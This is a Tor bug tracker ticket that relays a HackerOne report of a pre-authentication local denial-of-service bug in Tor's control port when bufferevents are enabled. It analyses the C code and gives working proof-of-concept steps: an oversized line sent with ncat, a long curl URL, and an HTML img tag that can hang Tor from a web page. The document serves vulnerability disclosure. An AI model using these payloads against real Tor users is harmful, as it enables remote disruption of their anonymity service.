[tor-bugs] #18189 [Tor]: Control connection pre-auth local DoS when bufferevents enabled
Tor Bug Tracker & Wiki
blackhole at torproject.org
Fri Jan 29 17:41:11 UTC 2016
#18189: Control connection pre-auth local DoS when bufferevents enabled
------------------------+--------------------------------
Reporter: asn | Owner:
Type: defect | Status: new
Priority: Medium | Milestone: Tor: 0.2.8.x-final
Component: Tor | Version:
Severity: Normal | Keywords: tor-control
Actual Points: | Parent ID:
Points: | Sponsor:
------------------------+--------------------------------
Here is another report by ''Guido Vranken'' through hackerone. Please
credit him appropriately.
BTW, while this is not a serious vulnerability (local DoS), we should
consider making it even harder for people to enable bufferevents, or
ripping them out completely, if we don't plan to develop them further in
the future.
---
== Bug report ==
In `control.c`, this is the loop that retrieves data from the input buffer
of the connection, or returns if no complete linefreed-terminated line is
available (connection_fetch_from_buf_line() returns 0).
{{{
4225 while (1) {
4226 size_t last_idx;
4227 int r;
4228 /* First, fetch a line. */
4229 do {
4230 data_len = conn->incoming_cmd_len - conn->incoming_cmd_cur_len;
4231 r = connection_fetch_from_buf_line(TO_CONN(conn),
4232
conn->incoming_cmd+conn->incoming_cmd_cur_len,
4233 &data_len);
4234 if (r == 0)
4235 /* Line not all here yet. Wait. */
4236 return 0;
4237 else if (r == -1) {
4238 if (data_len + conn->incoming_cmd_cur_len >
MAX_COMMAND_LINE_LENGTH) {
4239 connection_write_str_to_buf("500 Line too long.\r\n",
conn);
4240 connection_stop_reading(TO_CONN(conn));
4241 connection_mark_and_flush(TO_CONN(conn));
4242 }
4243 while (conn->incoming_cmd_len <
data_len+conn->incoming_cmd_cur_len)
4244 conn->incoming_cmd_len *= 2;
4245 conn->incoming_cmd = tor_realloc(conn->incoming_cmd,
4246 conn->incoming_cmd_len);
4247 }
4248 } while (r != 1);
}}}
If connection_fetch_from_buf_line() returns -1, this means that the buffer
(conn->incoming_cmd) is not large enough. conn->incoming_cmd_len is then
increased to a size sufficiently large to hold the incoming command (lines
4243 - 4246). In order for this to work, data_len must be set to this
required size by connection_fetch_from_buf_line().
If libevent bufferevents are not enabled, then
connection_fetch_from_buf_line() is simply a proxy function for
fetch_from_buf_line():
{{{
3785 }) ELSE_IF_NO_BUFFEREVENT {
3786 return fetch_from_buf_line(conn->inbuf, data, data_len);
3787 }
}}}
This function will indeed set *data_len to the required size if the
present buffer size is too small (line 2255):
{{{
2241 int
2242 fetch_from_buf_line(buf_t *buf, char *data_out, size_t *data_len)
2243 {
2244 size_t sz;
2245 off_t offset;
2246
2247 if (!buf->head)
2248 return 0;
2249
2250 offset = buf_find_offset_of_char(buf, '\n');
2251 if (offset < 0)
2252 return 0;
2253 sz = (size_t) offset;
2254 if (sz+2 > *data_len) {
2255 *data_len = sz + 2;
2256 return -1;
2257 }
2258 fetch_from_buf(data_out, sz+1, buf);
2259 data_out[sz+1] = '\0';
2260 *data_len = sz+1;
2261 return 1;
2262 }
}}}
However, if libevent bufferevents are enabled (by ./configuring tor with
--enable-bufferevents), then the code on lines (3770 - 3784) is executed
instead:
{{{
3765 int
3766 connection_fetch_from_buf_line(connection_t *conn, char *data,
3767 size_t *data_len)
3768 {
3769 IF_HAS_BUFFEREVENT(conn, {
3770 int r;
3771 size_t eol_len=0;
3772 struct evbuffer *input = bufferevent_get_input(conn->bufev);
3773 struct evbuffer_ptr ptr =
3774 evbuffer_search_eol(input, NULL, &eol_len, EVBUFFER_EOL_LF);
3775 if (ptr.pos == -1)
3776 return 0; /* No EOL found. */
3777 if ((size_t)ptr.pos+eol_len >= *data_len) {
3778 return -1; /* Too long */
3779 }
3780 *data_len = ptr.pos+eol_len;
3781 r = evbuffer_remove(input, data, ptr.pos+eol_len);
3782 tor_assert(r >= 0);
3783 data[ptr.pos+eol_len] = '\0';
3784 return 1;
3785 }) ELSE_IF_NO_BUFFEREVENT {
3786 return fetch_from_buf_line(conn->inbuf, data, data_len);
3787 }
3788 }
}}}
Following the size check on line 3777, *data_len is not altered and thus
remains the same as before the invocation.
For incoming data larger than the initial buffer size (1024 bytes) and
contains a linefeed character past 1024 bytes, this sends the control
connection input routine into an infinite loop.
== Proof of concept ==
$ ./configure --enable-bufferevents && make -j4
Now start tor with this torrc:
ControlPort 9999
then in another terminal:
$ cat genpoc.py
import sys
sys.stdout.write((chr(0x63) * 2000) + chr(0x0A) )
$ python genpoc.py >poc
$ ncat localhost 9999 <poc
tor now hangs and has to be killed with force (kill -9 <pid>).
== Inter-protocol exploit ==
Since the only two prerequisites of the attack are:
- Input longer than 1024 bytes
- Input contains linefeed character after byte 1024
it's easy to think of other ways of making tor hang than manually creating
a connection for this purpose.
{{{
$ cat genpoc2.py
print "curl http://localhost:9999/{}".format("x" * 1200)
$ python genpoc2.py >poc.sh
$ bash poc.sh
}}}
This also causes tor to hang, because curl is sending this to tor:
{{{
GET
/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
HTTP/1.1
User-Agent: curl/7.35.0
Host: localhost:9999
Accept: */*
}}}
which is data that adheres to the prerequisites.
Thus, a person running tor with the control server running locally while
also using a regular browser can be DoSed via:
{{{
html
<img src='http://localhost:9999/xxxxxxxxxxxxxxxxxxx...'>
}}}
Guido
--
Ticket URL: <https://trac.torproject.org/projects/tor/ticket/18189>
Tor Bug Tracker & Wiki <https://trac.torproject.org/>
The Tor Project: anonymity online
More information about the tor-bugs
mailing list